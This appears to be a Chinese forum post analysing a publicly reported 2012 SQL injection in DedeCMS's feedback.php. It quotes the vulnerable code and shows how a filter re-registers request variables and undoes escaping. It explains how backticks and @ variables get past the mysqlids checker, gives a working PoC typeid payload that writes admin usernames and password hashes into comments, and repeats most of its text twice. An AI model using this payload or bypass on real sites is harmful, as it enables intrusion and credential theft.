最近dede注入漏洞分析
这个分析是我根据90sec论坛上花若相惜分析的基础上,自己另外分析的,加了一些自己的分析,和他没有细讲的内容,和原文不太一样。
0x01 简述
2012年10月30日一个名为cyg07的白帽子向乌云提交了这个注入漏洞。可以导致注入的原因是$typeid变量没有做任何校验,便插入进了SQL语句,导致攻击者可以将查询内容插入进评论位置。
Dedecms所有版本均受影响,官方已经发布了针对这个漏洞的补丁。漏洞在乌云报告地址为http://www.wooyun.org/bugs/wooyun-2010-014076。
0x02 分析
漏洞出现在plus\feedback.php文件中,关键代码如下:$typeid为用户可控变量,且在插入SQL语句前未进行任何校验,导致攻击者可以将自己构建的SQL语句插入到原有语句中。但是在文件开头包含如下内容:在common.inc.php中会对所有request内容进行转义,代码如下:但是在后面的filter.inc.php文件中有如下代码:这段代码的目的是为了过滤一些敏感名词,但是在红色代码段对GET,POST,COOKIE变量进行了重新注册,导致绕过了之前的转义过滤。提交带有typeid=1’的数据包到feedback.php,将SQL语句打印出来,效果如下:
所以在这个页面攻击者可以提交带有单引号的语句来对原有SQL语句进行封闭,但是由于dedecms封装了80sec开发的mysqlids,校验SQL语句中的内容。判断SQL语句中是否存在union,sleep,load_file,子查询等攻击者可能会用到的SQL语句。下面来看下mysqlids校验文件的代码片段:这段代码中将SQL语句中,单引号中所包含的内容视为可信的,用$s$代替,然后会在后面校验重新组合的SQL语句,查看其中是否有非法的查询语句。但是在校验内容中,未过滤mysql的定义用户变量的关键字@和关键字封闭字符“`”(反引号)。
这将导致攻击者可以通过这个方法在不引起mysql语法错误的情况下,构造两个单引号,这两个带引号之间的内容为恶意的SQL语句,凭此来绕过mysqlids的检测。
0x03 验证
这个漏洞的能够实现利用的前提是GPC关闭,利用PoC如下:这段PoC插入到提交表单中,提交到目标的SQL语句就变成了:原SQL语句多了一条插入内容,msg字段的内容变为dede数据库中管理员表的用户名和密码。
实施效果如下:
管理员的用户名和密码都插入到了评论列表中了。
0x01 简述
2012年10月30日一个名为cyg07的白帽子向乌云提交了这个注入漏洞。可以导致注入的原因是$typeid变量没有做任何校验,便插入进了SQL语句,导致攻击者可以将查询内容插入进评论位置。
Dedecms所有版本均受影响,官方已经发布了针对这个漏洞的补丁。漏洞在乌云报告地址为http://www.wooyun.org/bugs/wooyun-2010-014076。
0x02 分析
漏洞出现在plus\feedback.php文件中,关键代码如下:
...
if($comtype == 'comments')
{
$arctitle = addslashes($title);
if($msg!='')
{//$typeid变量未做初始化
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
echo $inquery;//调试,输出查询语句
$rs = $dsql->ExecuteNoneQuery($inquery);
if(!$rs)
{
ShowMsg(' 发表评论错误! ', '-1');
//echo $dsql->GetError();
exit();
}
}
}
…
}
require_once(dirname(__FILE__)."/../include/common.inc.php");
if($cfg_feedback_forbid=='Y') exit('系统已经禁止评论功能!');
require_once(DEDEINC."/filter.inc.php");
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )
{
exit('Request var not allow!');
}
$svar = addslashes($svar);
}
}
return $svar;
}
…..
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
if($_k == 'nvarname') ${$_k} = $_v;
else ${$_k} = _RunMagicQuotes($_v);
}
}
….
function _FilterAll($fk, &$svar)
{
global $cfg_notallowstr,$cfg_replacestr;
if( is_array($svar) )
{
foreach($svar as $_k => $_v)
{
$svar[$_k] = _FilterAll($fk,$_v);
}
}
else
{
if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar))
{
ShowMsg(" $fk has not allow words!",'-1');
exit();
}
if($cfg_replacestr!='')
{
$svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar);
}
}
return $svar;
}
/* 对_GET,_POST,_COOKIE进行过滤 */
[color=Red]foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
${$_k} = _FilterAll($_k,$_v);
}
}[/color]
所以在这个页面攻击者可以提交带有单引号的语句来对原有SQL语句进行封闭,但是由于dedecms封装了80sec开发的mysqlids,校验SQL语句中的内容。判断SQL语句中是否存在union,sleep,load_file,子查询等攻击者可能会用到的SQL语句。下面来看下mysqlids校验文件的代码片段:
while (TRUE)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === FALSE)
{
break;
}
elseif ($pos2 == FALSE || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
这将导致攻击者可以通过这个方法在不引起mysql语法错误的情况下,构造两个单引号,这两个带引号之间的内容为恶意的SQL语句,凭此来绕过mysqlids的检测。
0x03 验证
这个漏洞的能够实现利用的前提是GPC关闭,利用PoC如下:
typeid=123′,@`’`,0×11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM `#@__admin`)),(1,’1111
INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('1','123’,@`’`,0x11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM `#@__admin`)),(1,’1111','游客','paxmac','127.0.0.1','1','1351774092', '0','0','0','feedback','0','sss');
实施效果如下:
管理员的用户名和密码都插入到了评论列表中了。
评论22次
好,还有一个 鬼哥 在90sec发的 dedecms 谁去分析一下。。
分析的很不错....顶一下,学xi了 不过表示有点不是太理解